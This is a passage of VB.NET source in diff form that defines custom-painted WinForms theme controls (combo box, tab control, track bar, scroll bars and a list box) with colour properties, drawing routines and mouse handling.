DrawItemState.Selected Then + .FillRectangle(New SolidBrush(_SqaureColour), Rect) + .DrawString(MyBase.GetItemText(MyBase.Items(e.Index)), Font, New SolidBrush(_FontColour), 1, e.Bounds.Top + 2) + Else + .FillRectangle(New SolidBrush(_BaseColour), Rect) + .DrawString(MyBase.GetItemText(MyBase.Items(e.Index)), Font, New SolidBrush(_FontColour), 1, e.Bounds.Top + 2) + End If + End With + Catch + End Try + e.DrawFocusRectangle() + Invalidate() + + End Sub + + Sub New() + SetStyle(ControlStyles.AllPaintingInWmPaint Or ControlStyles.UserPaint Or + ControlStyles.ResizeRedraw Or ControlStyles.OptimizedDoubleBuffer Or + ControlStyles.SupportsTransparentBackColor, True) + DoubleBuffered = True + BackColor = Color.Transparent + DrawMode = DrawMode.OwnerDrawFixed + DropDownStyle = ComboBoxStyle.DropDownList + Width = 163 + Font = New Font("Segoe UI", 10) + End Sub + + Protected Overrides Sub OnPaint(ByVal e As PaintEventArgs) + Dim g = e.Graphics + With g + .TextRenderingHint = TextRenderingHint.ClearTypeGridFit + .SmoothingMode = SmoothingMode.HighQuality + .PixelOffsetMode = PixelOffsetMode.HighQuality + .Clear(BackColor) + Try + Dim Square As New Rectangle(Width - 25, 0, Width, Height) + .FillRectangle(New SolidBrush(_BaseColour), New Rectangle(0, 0, Width - 25, Height)) + Select Case State + Case MouseState.None + .FillRectangle(New SolidBrush(_SqaureColour), Square) + Case MouseState.Over + .FillRectangle(New SolidBrush(_SqaureHoverColour), Square) + End Select + .DrawLine(New Pen(_LineColour, 2), New Point(Width - 26, 1), New Point(Width - 26, Height - 1)) + Try + .DrawString(Text, Font, New SolidBrush(_FontColour), New Rectangle(3, 0, Width - 20, Height), New StringFormat With {.LineAlignment = StringAlignment.Center, .Alignment = StringAlignment.Near}) + Catch : End Try + .DrawRectangle(New Pen(_BorderColour, 2), New Rectangle(0, 0, Width, Height)) + Dim P() As Point = {New Point(Width - 17, 11), New Point(Width - 13, 5), New Point(Width - 9, 11)} + .FillPolygon(New SolidBrush(_BorderColour), P) + .DrawPolygon(New Pen(_ArrowColour), P) + Dim P1() As Point = {New Point(Width - 17, 15), New Point(Width - 13, 21), New Point(Width - 9, 15)} + .FillPolygon(New SolidBrush(_BorderColour), P1) + .DrawPolygon(New Pen(_ArrowColour), P1) + Catch + End Try + .InterpolationMode = CType(7, InterpolationMode) + End With + + End Sub + +#End Region + +End Class + +Public Class LogInTabControl + Inherits TabControl + +#Region "Declarations" + + Private _TextColour As Color = Color.FromArgb(255, 255, 255) + Private _BackTabColour As Color = Color.FromArgb(54, 54, 54) + Private _BaseColour As Color = Color.FromArgb(35, 35, 35) + Private _ActiveColour As Color = Color.FromArgb(47, 47, 47) + Private _BorderColour As Color = Color.FromArgb(30, 30, 30) + Private _UpLineColour As Color = Color.FromArgb(0, 160, 199) + Private _HorizLineColour As Color = Color.FromArgb(23, 119, 151) + Private CenterSF As New StringFormat With {.Alignment = StringAlignment.Center, .LineAlignment = StringAlignment.Center} + +#End Region + +#Region "Properties" + + + Public Property BorderColour As Color + Get + Return _BorderColour + End Get + Set(value As Color) + _BorderColour = value + End Set + End Property + + + Public Property UpLineColour As Color + Get + Return _UpLineColour + End Get + Set(value As Color) + _UpLineColour = value + End Set + End Property + + + Public Property HorizontalLineColour As Color + Get + Return _HorizLineColour + End Get + Set(value As Color) + _HorizLineColour = value + End Set + End Property + + + Public Property TextColour As Color + Get + Return _TextColour + End Get + Set(value As Color) + _TextColour = value + End Set + End Property + + + Public Property BackTabColour As Color + Get + Return _BackTabColour + End Get + Set(value As Color) + _BackTabColour = value + End Set + End Property + + + Public Property BaseColour As Color + Get + Return _BaseColour + End Get + Set(value As Color) + _BaseColour = value + End Set + End Property + + + Public Property ActiveColour As Color + Get + Return _ActiveColour + End Get + Set(value As Color) + _ActiveColour = value + End Set + End Property + + Protected Overrides Sub CreateHandle() + MyBase.CreateHandle() + Alignment = TabAlignment.Top + End Sub + +#End Region + +#Region "Draw Control" + + Sub New() + SetStyle(ControlStyles.AllPaintingInWmPaint Or ControlStyles.UserPaint Or + ControlStyles.ResizeRedraw Or ControlStyles.OptimizedDoubleBuffer, True) + DoubleBuffered = True + Font = New Font("Segoe UI", 10) + SizeMode = TabSizeMode.Normal + ItemSize = New Size(240, 32) + End Sub + + Protected Overrides Sub OnPaint(e As PaintEventArgs) + Dim g = e.Graphics + With g + .SmoothingMode = SmoothingMode.HighQuality + .PixelOffsetMode = PixelOffsetMode.HighQuality + .TextRenderingHint = TextRenderingHint.ClearTypeGridFit + .Clear(_BaseColour) + Try : SelectedTab.BackColor = _BackTabColour : Catch : End Try + Try : SelectedTab.BorderStyle = BorderStyle.FixedSingle : Catch : End Try + .DrawRectangle(New Pen(_BorderColour, 2), New Rectangle(0, 0, Width, Height)) + For i = 0 To TabCount - 1 + Dim Base As New Rectangle(New Point(GetTabRect(i).Location.X, GetTabRect(i).Location.Y), New Size(GetTabRect(i).Width, GetTabRect(i).Height)) + Dim BaseSize As New Rectangle(Base.Location, New Size(Base.Width, Base.Height)) + If i = SelectedIndex Then + .FillRectangle(New SolidBrush(_BaseColour), BaseSize) + .FillRectangle(New SolidBrush(_ActiveColour), New Rectangle(Base.X + 1, Base.Y - 3, Base.Width, Base.Height + 5)) + .DrawString(TabPages(i).Text, Font, New SolidBrush(_TextColour), New Rectangle(Base.X + 7, Base.Y, Base.Width - 3, Base.Height), CenterSF) + .DrawLine(New Pen(_HorizLineColour, 2), New Point(Base.X + 3, CInt(Base.Height / 2 + 2)), New Point(Base.X + 9, CInt(Base.Height / 2 + 2))) + .DrawLine(New Pen(_UpLineColour, 2), New Point(Base.X + 3, Base.Y - 3), New Point(Base.X + 3, Base.Height + 5)) + Else + .DrawString(TabPages(i).Text, Font, New SolidBrush(_TextColour), BaseSize, CenterSF) + End If + Next + .InterpolationMode = InterpolationMode.HighQualityBicubic + End With + End Sub + +#End Region + +End Class + +Public Class LogInTrackBar + Inherits Control + +#Region "Declaration" + Private _Maximum As Integer = 10 + Private _Value As Integer = 0 + Private CaptureMovement As Boolean = False + Private Bar As Rectangle = New Rectangle(0, 10, Width - 21, Height - 21) + Private Track As Size = New Size(25, 14) + Private _TextColour As Color = Color.FromArgb(255, 255, 255) + Private _BorderColour As Color = Color.FromArgb(35, 35, 35) + Private _BarBaseColour As Color = Color.FromArgb(47, 47, 47) + Private _StripColour As Color = Color.FromArgb(42, 42, 42) + Private _StripAmountColour As Color = Color.FromArgb(23, 119, 151) +#End Region + +#Region "Properties" + + + Public Property BorderColour As Color + Get + Return _BorderColour + End Get + Set(value As Color) + _BorderColour = value + End Set + End Property + + + Public Property BarBaseColour As Color + Get + Return _BarBaseColour + End Get + Set(value As Color) + _BarBaseColour = value + End Set + End Property + + + Public Property StripColour As Color + Get + Return _StripColour + End Get + Set(value As Color) + _StripColour = value + End Set + End Property + + + Public Property TextColour As Color + Get + Return _TextColour + End Get + Set(value As Color) + _TextColour = value + End Set + End Property + + + Public Property StripAmountColour As Color + Get + Return _StripAmountColour + End Get + Set(value As Color) + _StripAmountColour = value + End Set + End Property + + Public Property Maximum() As Integer + Get + Return _Maximum + End Get + Set(ByVal value As Integer) + If value > 0 Then _Maximum = value + If value < _Value Then _Value = value + Invalidate() + End Set + End Property + + Event ValueChanged() + + Public Property Value() As Integer + Get + Return _Value + End Get + Set(ByVal value As Integer) + Select Case value + Case Is = _Value + Exit Property + Case Is < 0 + _Value = 0 + Case Is > _Maximum + _Value = _Maximum + Case Else + _Value = value + End Select + Invalidate() + RaiseEvent ValueChanged() + End Set + End Property + Protected Overrides Sub OnMouseUp(ByVal e As MouseEventArgs) + MyBase.OnMouseUp(e) + CaptureMovement = False + End Sub + + Protected Overrides Sub OnMouseMove(ByVal e As MouseEventArgs) + MyBase.OnMouseMove(e) + If CaptureMovement Then + Dim MovementPoint As New Point(e.X, e.Y) + Dim Bar As New Rectangle(10, 10, Width - 21, Height - 21) + Value = CInt(Maximum * ((MovementPoint.X - Bar.X) / Bar.Width)) + End If + End Sub + + Protected Overrides Sub OnMouseLeave(ByVal e As EventArgs) + MyBase.OnMouseLeave(e) : CaptureMovement = False + End Sub + +#End Region + +#Region "Draw Control" + + Sub New() + SetStyle(ControlStyles.OptimizedDoubleBuffer Or ControlStyles.AllPaintingInWmPaint Or ControlStyles.ResizeRedraw Or + ControlStyles.UserPaint Or ControlStyles.Selectable Or + ControlStyles.SupportsTransparentBackColor, True) + DoubleBuffered = True + BackColor = Color.FromArgb(54, 54, 54) + End Sub + + Protected Overrides Sub OnPaint(ByVal e As System.Windows.Forms.PaintEventArgs) + Dim g = e.Graphics + With g + .SmoothingMode = SmoothingMode.AntiAlias + .PixelOffsetMode = PixelOffsetMode.HighQuality + .TextRenderingHint = TextRenderingHint.ClearTypeGridFit + Bar = New Rectangle(13, 11, Width - 27, Height - 21) + .Clear(BackColor) + .TextRenderingHint = TextRenderingHint.AntiAliasGridFit + .FillRectangle(New SolidBrush(_StripColour), New Rectangle(3, CInt((Height / 2) - 4), Width - 5, 8)) + .DrawRectangle(New Pen(_BorderColour, 2), New Rectangle(4, CInt((Height / 2) - 4), Width - 5, 8)) + .FillRectangle(New SolidBrush(_StripAmountColour), New Rectangle(4, CInt((Height / 2) - 4), CInt(Bar.Width * (Value / Maximum)) + CInt(Track.Width / 2), 8)) + .FillRectangle(New SolidBrush(_BarBaseColour), Bar.X + CInt(Bar.Width * (Value / Maximum)) - CInt(Track.Width / 2), Bar.Y + CInt((Bar.Height / 2)) - CInt(Track.Height / 2), Track.Width, Track.Height) + .DrawRectangle(New Pen(_BorderColour, 2), Bar.X + CInt(Bar.Width * (Value / Maximum)) - CInt(Track.Width / 2), Bar.Y + CInt((Bar.Height / 2)) - CInt(Track.Height / 2), Track.Width, Track.Height) + .DrawString(CStr(_Value), New Font("Segoe UI", 6.5, FontStyle.Regular), New SolidBrush(_TextColour), New Rectangle(Bar.X + CInt(Bar.Width * (Value / Maximum)) - CInt(Track.Width / 2), Bar.Y + CInt((Bar.Height / 2)) - CInt(Track.Height / 2), Track.Width - 1, Track.Height), New StringFormat With {.Alignment = StringAlignment.Center, .LineAlignment = StringAlignment.Center}) + .InterpolationMode = InterpolationMode.HighQualityBicubic + End With + + End Sub + +#End Region + +End Class + + +Public Class LogInVerticalScrollBar + Inherits Control + +#Region "Declarations" + + Private ThumbMovement As Integer + Private TSA As Rectangle + Private BSA As Rectangle + Private Shaft As Rectangle + Private Thumb As Rectangle + Private ShowThumb As Boolean + Private ThumbPressed As Boolean + Private _ThumbSize As Integer = 24 + Public _Minimum As Integer = 0 + Public _Maximum As Integer = 100 + Public _Value As Integer = 0 + Public _SmallChange As Integer = 1 + Private _ButtonSize As Integer = 16 + Public _LargeChange As Integer = 10 + Private _ThumbBorder As Color = Color.FromArgb(35, 35, 35) + Private _LineColour As Color = Color.FromArgb(23, 119, 151) + Private _ArrowColour As Color = Color.FromArgb(37, 37, 37) + Private _BaseColour As Color = Color.FromArgb(47, 47, 47) + Private _ThumbColour As Color = Color.FromArgb(55, 55, 55) + Private _ThumbSecondBorder As Color = Color.FromArgb(65, 65, 65) + Private _FirstBorder As Color = Color.FromArgb(55, 55, 55) + Private _SecondBorder As Color = Color.FromArgb(35, 35, 35) + +#End Region + +#Region "Properties & Events" + + + Public Property ThumbBorder As Color + Get + Return _ThumbBorder + End Get + Set(value As Color) + _ThumbBorder = value + End Set + End Property + + + Public Property LineColour As Color + Get + Return _LineColour + End Get + Set(value As Color) + _LineColour = value + End Set + End Property + + + Public Property ArrowColour As Color + Get + Return _ArrowColour + End Get + Set(value As Color) + _ArrowColour = value + End Set + End Property + + + Public Property BaseColour As Color + Get + Return _BaseColour + End Get + Set(value As Color) + _BaseColour = value + End Set + End Property + + + Public Property ThumbColour As Color + Get + Return _ThumbColour + End Get + Set(value As Color) + _ThumbColour = value + End Set + End Property + + + Public Property ThumbSecondBorder As Color + Get + Return _ThumbSecondBorder + End Get + Set(value As Color) + _ThumbSecondBorder = value + End Set + End Property + + + Public Property FirstBorder As Color + Get + Return _FirstBorder + End Get + Set(value As Color) + _FirstBorder = value + End Set + End Property + + + Public Property SecondBorder As Color + Get + Return _SecondBorder + End Get + Set(value As Color) + _SecondBorder = value + End Set + End Property + + Event Scroll(ByVal sender As Object) + + Property Minimum() As Integer + Get + Return _Minimum + End Get + Set(ByVal value As Integer) + _Minimum = value + If value > _Value Then _Value = value + If value > _Maximum Then _Maximum = value + InvalidateLayout() + End Set + End Property + + Property Maximum() As Integer + Get + Return _Maximum + End Get + Set(ByVal value As Integer) + If value < _Value Then _Value = value + If value < _Minimum Then _Minimum = value + End Set + End Property + + Property Value() As Integer + Get + Return _Value + End Get + Set(ByVal value As Integer) + Select Case value + Case Is = _Value + Exit Property + Case Is < _Minimum + _Value = _Minimum + Case Is > _Maximum + _Value = _Maximum + Case Else + _Value = value + End Select + InvalidatePosition() + RaiseEvent Scroll(Me) + End Set + End Property + + Public Property SmallChange() As Integer + Get + Return _SmallChange + End Get + Set(ByVal value As Integer) + Select Case value + Case Is < 1 + Case Is > + CInt(_SmallChange = value) + End Select + End Set + End Property + + Public Property LargeChange() As Integer + Get + Return _LargeChange + End Get + Set(ByVal value As Integer) + Select Case value + Case Is < 1 + Case Else + _LargeChange = value + End Select + End Set + End Property + + Public Property ButtonSize As Integer + Get + Return _ButtonSize + End Get + Set(value As Integer) + Select Case value + Case Is < 16 + _ButtonSize = 16 + Case Else + _ButtonSize = value + End Select + End Set + End Property + + Protected Overrides Sub OnSizeChanged(e As EventArgs) + InvalidateLayout() + End Sub + + Private Sub InvalidateLayout() + TSA = New Rectangle(0, 1, Width, 0) + Shaft = New Rectangle(0, TSA.Bottom - 1, Width, Height - 3) + ShowThumb = CBool(((_Maximum - _Minimum))) + If ShowThumb Then + Thumb = New Rectangle(1, 0, Width - 3, _ThumbSize) + End If + RaiseEvent Scroll(Me) + InvalidatePosition() + End Sub + + Private Sub InvalidatePosition() + Thumb.Y = CInt(((_Value - _Minimum) / (_Maximum - _Minimum)) * (Shaft.Height - _ThumbSize) + 1) + Invalidate() + End Sub + + Protected Overrides Sub OnMouseDown(ByVal e As MouseEventArgs) + If e.Button = MouseButtons.Left AndAlso ShowThumb Then + If TSA.Contains(e.Location) Then + ThumbMovement = _Value - _SmallChange + ElseIf BSA.Contains(e.Location) Then + ThumbMovement = _Value + _SmallChange + Else + If Thumb.Contains(e.Location) Then + ThumbPressed = True + Return + Else + If e.Y < Thumb.Y Then + ThumbMovement = _Value - _LargeChange + Else + ThumbMovement = _Value + _LargeChange + End If + End If + End If + Value = Math.Min(Math.Max(ThumbMovement, _Minimum), _Maximum) + InvalidatePosition() + End If + End Sub + + Protected Overrides Sub OnMouseMove(ByVal e As MouseEventArgs) + If ThumbPressed AndAlso ShowThumb Then + Dim ThumbPosition As Integer = e.Y - TSA.Height - (_ThumbSize \ 2) + Dim ThumbBounds As Integer = Shaft.Height - _ThumbSize + ThumbMovement = CInt((ThumbPosition / ThumbBounds) * (_Maximum - _Minimum)) + _Minimum + Value = Math.Min(Math.Max(ThumbMovement, _Minimum), _Maximum) + InvalidatePosition() + End If + End Sub + + Protected Overrides Sub OnMouseUp(ByVal e As MouseEventArgs) + ThumbPressed = False + End Sub + +#End Region + +#Region "Draw Control" + + Sub New() + SetStyle(ControlStyles.OptimizedDoubleBuffer Or ControlStyles.AllPaintingInWmPaint Or ControlStyles.ResizeRedraw Or + ControlStyles.UserPaint Or ControlStyles.Selectable Or + ControlStyles.SupportsTransparentBackColor, True) + DoubleBuffered = True + Size = New Size(24, 50) + End Sub + + Protected Overrides Sub OnPaint(e As System.Windows.Forms.PaintEventArgs) + Dim g = e.Graphics + With g + .TextRenderingHint = TextRenderingHint.ClearTypeGridFit + .SmoothingMode = SmoothingMode.HighQuality + .PixelOffsetMode = PixelOffsetMode.HighQuality + .Clear(_BaseColour) + Dim P() As Point = {New Point(CInt(Width / 2), 5), New Point(CInt(Width / 4), 13), New Point(CInt(Width / 2 - 2), 13), New Point(CInt(Width / 2 - 2), Height - 13), + New Point(CInt(Width / 4), Height - 13), New Point(CInt(Width / 2), Height - 5), New Point(CInt(Width - Width / 4 - 1), Height - 13), New Point(CInt(Width / 2 + 2), Height - 13), + New Point(CInt(Width / 2 + 2), 13), New Point(CInt(Width - Width / 4 - 1), 13)} + .FillPolygon(New SolidBrush(_ArrowColour), P) + .FillRectangle(New SolidBrush(_ThumbColour), Thumb) + .DrawRectangle(New Pen(_ThumbBorder), Thumb) + .DrawRectangle(New Pen(_ThumbSecondBorder), Thumb.X + 1, Thumb.Y + 1, Thumb.Width - 2, Thumb.Height - 2) + .DrawLine(New Pen(_LineColour, 2), New Point(CInt(Thumb.Width / 2 + 1), Thumb.Y + 4), New Point(CInt(Thumb.Width / 2 + 1), Thumb.Bottom - 4)) + .DrawRectangle(New Pen(_FirstBorder), 0, 0, Width - 1, Height - 1) + .DrawRectangle(New Pen(_SecondBorder), 1, 1, Width - 3, Height - 3) + .InterpolationMode = InterpolationMode.HighQualityBicubic + End With + + End Sub + +#End Region + +End Class + + +Public Class LogInHorizontalScrollBar + Inherits Control + +#Region "Declarations" + + Private ThumbMovement As Integer + Private LSA As Rectangle + Private RSA As Rectangle + Private Shaft As Rectangle + Private Thumb As Rectangle + Private ShowThumb As Boolean + Private ThumbPressed As Boolean + Private _ThumbSize As Integer = 24 + Private _Minimum As Integer = 0 + Private _Maximum As Integer = 100 + Private _Value As Integer = 0 + Private _SmallChange As Integer = 1 + Private _ButtonSize As Integer = 16 + Private _LargeChange As Integer = 10 + Private _ThumbBorder As Color = Color.FromArgb(35, 35, 35) + Private _LineColour As Color = Color.FromArgb(23, 119, 151) + Private _ArrowColour As Color = Color.FromArgb(37, 37, 37) + Private _BaseColour As Color = Color.FromArgb(47, 47, 47) + Private _ThumbColour As Color = Color.FromArgb(55, 55, 55) + Private _ThumbSecondBorder As Color = Color.FromArgb(65, 65, 65) + Private _FirstBorder As Color = Color.FromArgb(55, 55, 55) + Private _SecondBorder As Color = Color.FromArgb(35, 35, 35) + Private ThumbDown As Boolean = False + +#End Region + +#Region "Properties & Events" + + + Public Property ThumbBorder As Color + Get + Return _ThumbBorder + End Get + Set(value As Color) + _ThumbBorder = value + End Set + End Property + + + Public Property LineColour As Color + Get + Return _LineColour + End Get + Set(value As Color) + _LineColour = value + End Set + End Property + + + Public Property ArrowColour As Color + Get + Return _ArrowColour + End Get + Set(value As Color) + _ArrowColour = value + End Set + End Property + + + Public Property BaseColour As Color + Get + Return _BaseColour + End Get + Set(value As Color) + _BaseColour = value + End Set + End Property + + + Public Property ThumbColour As Color + Get + Return _ThumbColour + End Get + Set(value As Color) + _ThumbColour = value + End Set + End Property + + + Public Property ThumbSecondBorder As Color + Get + Return _ThumbSecondBorder + End Get + Set(value As Color) + _ThumbSecondBorder = value + End Set + End Property + + + Public Property FirstBorder As Color + Get + Return _FirstBorder + End Get + Set(value As Color) + _FirstBorder = value + End Set + End Property + + + Public Property SecondBorder As Color + Get + Return _SecondBorder + End Get + Set(value As Color) + _SecondBorder = value + End Set + End Property + + Event Scroll(ByVal sender As Object) + + Property Minimum() As Integer + Get + Return _Minimum + End Get + Set(ByVal value As Integer) + _Minimum = value + If value > _Value Then _Value = value + If value > _Maximum Then _Maximum = value + InvalidateLayout() + End Set + End Property + + Property Maximum() As Integer + Get + Return _Maximum + End Get + Set(ByVal value As Integer) + If value < _Value Then _Value = value + If value < _Minimum Then _Minimum = value + End Set + End Property + + Property Value() As Integer + Get + Return _Value + End Get + Set(ByVal value As Integer) + Select Case value + Case Is = _Value + Exit Property + Case Is < _Minimum + _Value = _Minimum + Case Is > _Maximum + _Value = _Maximum + Case Else + _Value = value + End Select + InvalidatePosition() + RaiseEvent Scroll(Me) + End Set + End Property + + Public Property SmallChange() As Integer + Get + Return _SmallChange + End Get + Set(ByVal value As Integer) + Select Case value + Case Is < 1 + Case Is > + CInt(_SmallChange = value) + End Select + End Set + End Property + + Public Property LargeChange() As Integer + Get + Return _LargeChange + End Get + Set(ByVal value As Integer) + Select Case value + Case Is < 1 + Case Else + _LargeChange = value + End Select + End Set + End Property + + Public Property ButtonSize As Integer + Get + Return _ButtonSize + End Get + Set(value As Integer) + Select Case value + Case Is < 16 + _ButtonSize = 16 + Case Else + _ButtonSize = value + End Select + End Set + End Property + + Protected Overrides Sub OnSizeChanged(e As EventArgs) + InvalidateLayout() + End Sub + + Private Sub InvalidateLayout() + LSA = New Rectangle(0, 1, 0, Height) + Shaft = New Rectangle(LSA.Right + 1, 0, Width - 3, Height) + ShowThumb = CBool(((_Maximum - _Minimum))) + Thumb = New Rectangle(0, 1, _ThumbSize, Height - 3) + RaiseEvent Scroll(Me) + InvalidatePosition() + End Sub + + Private Sub InvalidatePosition() + Thumb.X = CInt(((_Value - _Minimum) / (_Maximum - _Minimum)) * (Shaft.Width - _ThumbSize) + 1) + Invalidate() + End Sub + + Protected Overrides Sub OnMouseDown(ByVal e As MouseEventArgs) + If e.Button = MouseButtons.Left AndAlso ShowThumb Then + If LSA.Contains(e.Location) Then + ThumbMovement = _Value - _SmallChange + ElseIf RSA.Contains(e.Location) Then + ThumbMovement = _Value + _SmallChange + Else + If Thumb.Contains(e.Location) Then + ThumbDown = True + Return + Else + If e.X < Thumb.X Then + ThumbMovement = _Value - _LargeChange + Else + ThumbMovement = _Value + _LargeChange + End If + End If + End If + Value = Math.Min(Math.Max(ThumbMovement, _Minimum), _Maximum) + InvalidatePosition() + End If + End Sub + + Protected Overrides Sub OnMouseMove(ByVal e As MouseEventArgs) + If ThumbDown AndAlso ShowThumb Then + Dim ThumbPosition As Integer = e.X - LSA.Width - (_ThumbSize \ 2) + Dim ThumbBounds As Integer = Shaft.Width - _ThumbSize + + ThumbMovement = CInt((ThumbPosition / ThumbBounds) * (_Maximum - _Minimum)) + _Minimum + + Value = Math.Min(Math.Max(ThumbMovement, _Minimum), _Maximum) + InvalidatePosition() + End If + End Sub + + Protected Overrides Sub OnMouseUp(ByVal e As MouseEventArgs) + ThumbDown = False + End Sub + +#End Region + +#Region "Draw Control" + + Sub New() + SetStyle(ControlStyles.OptimizedDoubleBuffer Or ControlStyles.AllPaintingInWmPaint Or ControlStyles.ResizeRedraw Or + ControlStyles.UserPaint Or ControlStyles.Selectable Or + ControlStyles.SupportsTransparentBackColor, True) + DoubleBuffered = True + Height = 18 + End Sub + + Protected Overrides Sub OnPaint(e As System.Windows.Forms.PaintEventArgs) + Dim g = e.Graphics + With g + .TextRenderingHint = TextRenderingHint.ClearTypeGridFit + .SmoothingMode = SmoothingMode.HighQuality + .PixelOffsetMode = PixelOffsetMode.HighQuality + .Clear(Color.FromArgb(47, 47, 47)) + Dim P() As Point = {New Point(5, CInt(Height / 2)), New Point(13, CInt(Height / 4)), New Point(13, CInt(Height / 2 - 2)), New Point(Width - 13, CInt(Height / 2 - 2)), + New Point(Width - 13, CInt(Height / 4)), New Point(Width - 5, CInt(Height / 2)), New Point(Width - 13, CInt(Height - Height / 4 - 1)), New Point(Width - 13, CInt(Height / 2 + 2)), + New Point(13, CInt(Height / 2 + 2)), New Point(13, CInt(Height - Height / 4 - 1))} + .FillPolygon(New SolidBrush(_ArrowColour), P) + .FillRectangle(New SolidBrush(_ThumbColour), Thumb) + .DrawRectangle(New Pen(_ThumbBorder), Thumb) + .DrawRectangle(New Pen(_ThumbSecondBorder), Thumb.X + 1, Thumb.Y + 1, Thumb.Width - 2, Thumb.Height - 2) + .DrawLine(New Pen((_LineColour), 2), New Point(Thumb.X + 4, (CInt(Thumb.Height / 2 + 1))), New Point(Thumb.Right - 4, (CInt(Thumb.Height / 2 + 1)))) + .DrawRectangle(New Pen(_FirstBorder), 0, 0, Width - 1, Height - 1) + .DrawRectangle(New Pen(_SecondBorder), 1, 1, Width - 3, Height - 3) + .InterpolationMode = InterpolationMode.HighQualityBicubic + End With + End Sub + +#End Region + +End Class + +Public Class LogInTitledListBoxWBuiltInScrollBar + Inherits Control + +#Region "Declarations" + + Private _Items As New List(Of LogInListBoxItem) + Private ReadOnly _SelectedItems As New List(Of LogInListBoxItem) + Private _MultiSelect As Boolean = True + Private ItemHeight As Integer = 24 + Private ReadOnly VerticalScrollbar As LogInVerticalScrollBar + Private _BaseColour As Color = Color.FromArgb(55, 55, 55) + Private _SelectedItemColour As Color = Color.FromArgb(50, 50, 50) + Private _NonSelectedItemColour As Color = Color.FromArgb(47, 47, 47) + Private _TitleAreaColour As Color = Color.FromArgb(42, 42, 42) + Private _BorderColour As Color = Color.FromArgb(35, 35, 35) + Private _TextColour As Color = Color.FromArgb(255, 255, 255) + Private _SelectedHeight As Integer = 1 + +#End Region + +#Region "Properties" + + + Public Property TitleAreaColour As Color + Get + Return _TitleAreaColour + End Get + Set(value As Color) + _TitleAreaColour = value + End Set + End Property + + + Public Property TextColour As Color + Get + Return _TextColour + End Get + Set(value As Color) + _TextColour = value + End Set + End Property + + + Public Property SelectedHeight As Integer + Get + Return _SelectedHeight + End Get + Set(value As Integer) + If value < 1 Then + _SelectedHeight = Height + Else + _SelectedHeight = value + End If + InvalidateScroll() + End Set + End Property + + + Public Property BaseColour As Color + Get + Return _BaseColour + End Get + Set(value As Color) + _BaseColour = value + End Set + End Property + + + Public Property SelectedItemColour As Color + Get + Return _SelectedItemColour + End Get + Set(value As Color) + _SelectedItemColour = value + End Set + End Property + + + Public Property NonSelectedItemColour As Color + Get + Return _NonSelectedItemColour + End Get + Set(value As Color) + _NonSelectedItemColour = value + End Set + End Property + + + Public Property BorderColour As Color + Get + Return _BorderColour + End Get + Set(value As Color) + _BorderColour = value + End Set + End Property + + + Private Sub HandleScroll(ByVal sender As Object) + Invalidate() + End Sub + + Private Sub InvalidateScroll() + Debug.Print(CStr(Height)) + If CInt(Math.Round(((_Items.Count) * ItemHeight) / _SelectedHeight)) < CDbl((((_Items.Count) * ItemHeight) / _SelectedHeight)) Then + VerticalScrollbar._Maximum = CInt(Math.Ceiling(((_Items.Count) * ItemHeight) / _SelectedHeight)) + ElseIf CInt(Math.Round(((_Items.Count) * ItemHeight) / _SelectedHeight)) = 0 Then + VerticalScrollbar._Maximum = 1 + Else + VerticalScrollbar._Maximum = CInt(Math.Round(((_Items.Count) * ItemHeight) / _SelectedHeight)) + End If + Invalidate() + End Sub + + Private Sub InvalidateLayout() + VerticalScrollbar.Location = New Point(Width - VerticalScrollbar.Width - 2, 2) + VerticalScrollbar.Size = New Size(18, Height - 4) + Invalidate() + End Sub + + Public Class LogInListBoxItem + Property Text As String + Public Overrides Function ToString() As String + Return Text + End Function + End Class + + + Public Property Items() As LogInListBoxItem() + Get + Return _Items.ToArray() + End Get + Set(ByVal value As LogInListBoxItem()) + _Items = New List(Of LogInListBoxItem)(value) + Invalidate() + InvalidateScroll() + End Set + End Property + + Public ReadOnly Property SelectedItems() As LogInListBoxItem() + Get + Return _SelectedItems.ToArray() + End Get + End Property + + Public Property MultiSelect() As Boolean + Get + Return _MultiSelect + End Get + Set(ByVal value As Boolean) + _MultiSelect = value + + If _SelectedItems.Count > 1 Then + _SelectedItems.RemoveRange(1, _SelectedItems.Count - 1) + End If + + Invalidate() + End Set + End Property + + Public Overrides Property Font As Font + Get + Return MyBase.Font + End Get + Set(ByVal value As Font) + ItemHeight = CInt(Graphics.FromHwnd(Handle).MeasureString("@", Font).Height) + If VerticalScrollbar IsNot Nothing Then + VerticalScrollbar._SmallChange = 1 + VerticalScrollbar._LargeChange = 1 + + End If + MyBase.Font = value + InvalidateLayout() + End Set + End Property + + Public Sub AddItem(ByVal Items As String) + Dim Item As New LogInListBoxItem() + Item.Text = Items + _Items.Add(Item) + Invalidate() + InvalidateScroll() + End Sub + + Public Sub AddItems(ByVal Items() As String) + For Each I In Items + Dim Item As New LogInListBoxItem() + Item.Text = I + _Items.Add(Item) + Next + Invalidate() + InvalidateScroll() + End Sub + + Public Sub RemoveItemAt(ByVal index As Integer) + _Items.RemoveAt(index) + Invalidate() + InvalidateScroll() + End Sub + + Public Sub RemoveItem(ByVal item As LogInListBoxItem) + _Items.Remove(item) + Invalidate() + InvalidateScroll() + End Sub + + Public Sub RemoveItems(ByVal items As LogInListBoxItem()) + For Each I As LogInListBoxItem In items + _Items.Remove(I) + Next + Invalidate() + InvalidateScroll() + End Sub + + Protected Overrides Sub OnSizeChanged(ByVal e As EventArgs) + _SelectedHeight = Height + InvalidateScroll() + InvalidateLayout() + MyBase.OnSizeChanged(e) + End Sub + + Private Sub Vertical_MouseDown(ByVal sender As Object, ByVal e As MouseEventArgs) + Focus() + End Sub + + Protected Overrides Sub OnMouseDown(ByVal e As MouseEventArgs) + Focus() + If e.Button = MouseButtons.Left Then + Dim Offset As Integer = CInt(VerticalScrollbar.Value * (VerticalScrollbar.Maximum + (Height - (ItemHeight)))) + + Dim Index As Integer = ((e.Y + Offset) \ ItemHeight) + + If Index > _Items.Count - 1 Then Index = -1 + + If Not Index = -1 Then + + If ModifierKeys = Keys.Control AndAlso _MultiSelect Then + If _SelectedItems.Contains(_Items(Index)) Then + _SelectedItems.Remove(_Items(Index)) + Else + _SelectedItems.Add(_Items(Index)) + End If + Else + _SelectedItems.Clear() + _SelectedItems.Add(_Items(Index)) + End If + Debug.Print(CStr(_SelectedItems(0).Text)) + End If + + Invalidate() + End If + MyBase.OnMouseDown(e) + End Sub + + Protected Overrides Sub OnMouseWheel(ByVal e As MouseEventArgs) + Dim Move As Integer = -((e.Delta * SystemInformation.MouseWheelScrollLines \ 120) * (2 \ 2)) + Dim Value As Integer = Math.Max(Math.Min(VerticalScrollbar.Value + Move, VerticalScrollbar.Maximum), VerticalScrollbar.Minimum) + VerticalScrollbar.Value = Value + 